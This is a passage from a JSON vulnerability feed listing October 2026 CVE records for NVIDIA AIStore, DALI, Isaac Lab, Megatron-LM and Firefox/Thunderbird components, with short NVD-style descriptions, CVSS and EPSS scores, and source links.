exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:33.163Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65164","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00811,"percentile":0.56684,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65164","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65164","type":"primary","publishedAt":"2026-10-13T13:17:33.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65164, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65161","cveId":"CVE-2026-65161","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux contains a vulnerability in the Promote API where an unauthenticated remote attacker may read files accessible to the target process by supplying a...","summary":"NVIDIA AIStore for Linux contains a vulnerability in the Promote API where an unauthenticated remote attacker may read files accessible to the target process by supplying a crafted absolute source path. A successful exploit may lead to information disclosure.","detail":"NVIDIA AIStore for Linux contains a vulnerability in the Promote API where an unauthenticated remote attacker may read files accessible to the target process by supplying a crafted absolute source path. A successful exploit may lead to information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:32.710Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65161","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00661,"percentile":0.51334,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65161","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65161","type":"primary","publishedAt":"2026-10-13T13:17:32.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65150","cveId":"CVE-2026-65150","aliases":[],"kind":"vulnerability","title":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read.","summary":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability mighty lead to information disclosure, data tampering, and denial of service.","detail":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability mighty lead to information disclosure, data tampering, and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:32.587Z","updatedAt":"2026-10-15T20:17:14.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65150","asOf":"2026-10-15T20:17:14.120Z"},"epss":{"probability":0.00125,"percentile":0.02175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65150","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65150","type":"primary","publishedAt":"2026-10-13T13:17:32.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65149","cveId":"CVE-2026-65149","aliases":[],"kind":"vulnerability","title":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds write.","summary":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds write. A successful exploit of this vulnerability might lead to denial of service, information disclosure, and data tampering.","detail":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds write. A successful exploit of this vulnerability might lead to denial of service, information disclosure, and data tampering.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:32.460Z","updatedAt":"2026-10-15T20:17:14.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65149","asOf":"2026-10-15T20:17:14.007Z"},"epss":{"probability":0.00125,"percentile":0.02175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65149","type":"primary","publishedAt":"2026-10-13T13:17:32.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65148","cveId":"CVE-2026-65148","aliases":[],"kind":"vulnerability","title":"NVIDIA DALI contains a vulnerability where an attacker could cause a stack-based buffer overflow.","summary":"NVIDIA DALI contains a vulnerability where an attacker could cause a stack-based buffer overflow. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.","detail":"NVIDIA DALI contains a vulnerability where an attacker could cause a stack-based buffer overflow. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:32.333Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65148","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00135,"percentile":0.02965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65148","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65148","type":"primary","publishedAt":"2026-10-13T13:17:32.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65147","cveId":"CVE-2026-65147","aliases":[],"kind":"vulnerability","title":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read.","summary":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability might lead to information disclosure and denial of service.","detail":"NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability might lead to information disclosure and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:32.207Z","updatedAt":"2026-10-15T20:17:13.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65147","asOf":"2026-10-15T20:17:13.890Z"},"epss":{"probability":0.00116,"percentile":0.01619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65147","type":"primary","publishedAt":"2026-10-13T13:17:32.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65141","cveId":"CVE-2026-65141","aliases":[],"kind":"vulnerability","title":"NVIDIA Isaac Lab contains a vulnerability where an attacker could cause an eval injection.","summary":"NVIDIA Isaac Lab contains a vulnerability where an attacker could cause an eval injection. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.","detail":"NVIDIA Isaac Lab contains a vulnerability where an attacker could cause an eval injection. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:32.077Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65141","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00165,"percentile":0.05735,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65141&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65141","type":"primary","publishedAt":"2026-10-13T13:17:32.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65141&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65141, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65110","cveId":"CVE-2026-65110","aliases":[],"kind":"vulnerability","title":"NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where, an attacker could cause an RCE by convincing a user to load a maliciously crafted file.","summary":"NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where, an attacker could cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.","detail":"NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where, an attacker could cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:31.820Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65110","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.0023,"percentile":0.13691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65110","type":"primary","publishedAt":"2026-10-13T13:17:31.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65104","cveId":"CVE-2026-65104","aliases":[],"kind":"vulnerability","title":"NVIDIA Megatron-LM for all platforms contains a vulnerability in inference, where an attacker could cause hash collisions in the cache used for inference requests.","summary":"NVIDIA Megatron-LM for all platforms contains a vulnerability in inference, where an attacker could cause hash collisions in the cache used for inference requests. A successful exploit of this vulnerability might lead to data tampering and partial information disclosure.","detail":"NVIDIA Megatron-LM for all platforms contains a vulnerability in inference, where an attacker could cause hash collisions in the cache used for inference requests. A successful exploit of this vulnerability might lead to data tampering and partial information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:31.683Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65104","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.0014,"percentile":0.03305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65104","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65104","type":"primary","publishedAt":"2026-10-13T13:17:31.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65103","cveId":"CVE-2026-65103","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux contains a path traversal vulnerability in the target-side object rename handler, where an unauthenticated remote attacker could cause an improper...","summary":"NVIDIA AIStore for Linux contains a path traversal vulnerability in the target-side object rename handler, where an unauthenticated remote attacker could cause an improper limitation of a pathname to a restricted directory by submitting a crafted rename destination directly to an AIStore target, resulting in the arbitrary creation or overwrite of a file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, data tampering, and denial of service.","detail":"NVIDIA AIStore for Linux contains a path traversal vulnerability in the target-side object rename handler, where an unauthenticated remote attacker could cause an improper limitation of a pathname to a restricted directory by submitting a crafted rename destination directly to an AIStore target, resulting in the arbitrary creation or overwrite of a file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, data tampering, and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:31.553Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65103","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.009,"percentile":0.59407,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65103","type":"primary","publishedAt":"2026-10-13T13:17:31.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65101","cveId":"CVE-2026-65101","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux contains a vulnerability in the distributed sort component where an attacker could cause server-side request forgery by supplying a crafted external key...","summary":"NVIDIA AIStore for Linux contains a vulnerability in the distributed sort component where an attacker could cause server-side request forgery by supplying a crafted external key map URL. A successful exploit of this vulnerability might lead to information disclosure.","detail":"NVIDIA AIStore for Linux contains a vulnerability in the distributed sort component where an attacker could cause server-side request forgery by supplying a crafted external key map URL. A successful exploit of this vulnerability might lead to information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:31.400Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65101","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.0031,"percentile":0.23595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65101","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65101","type":"primary","publishedAt":"2026-10-13T13:17:31.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109778","cveId":"CVE-2026-109778","aliases":[],"kind":"vulnerability","title":"Privilege escalation in the WebExtensions component.","summary":"Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:28.713Z","updatedAt":"2026-10-14T04:18:17.137Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109778","asOf":"2026-10-14T04:18:17.137Z"},"epss":{"probability":0.0028,"percentile":0.20258,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109778&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109778","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109778","type":"primary","publishedAt":"2026-10-13T13:17:28.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109778&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109778, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109766","cveId":"CVE-2026-109766","aliases":[],"kind":"vulnerability","title":"Mitigation bypass in the Enterprise Policies component.","summary":"Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 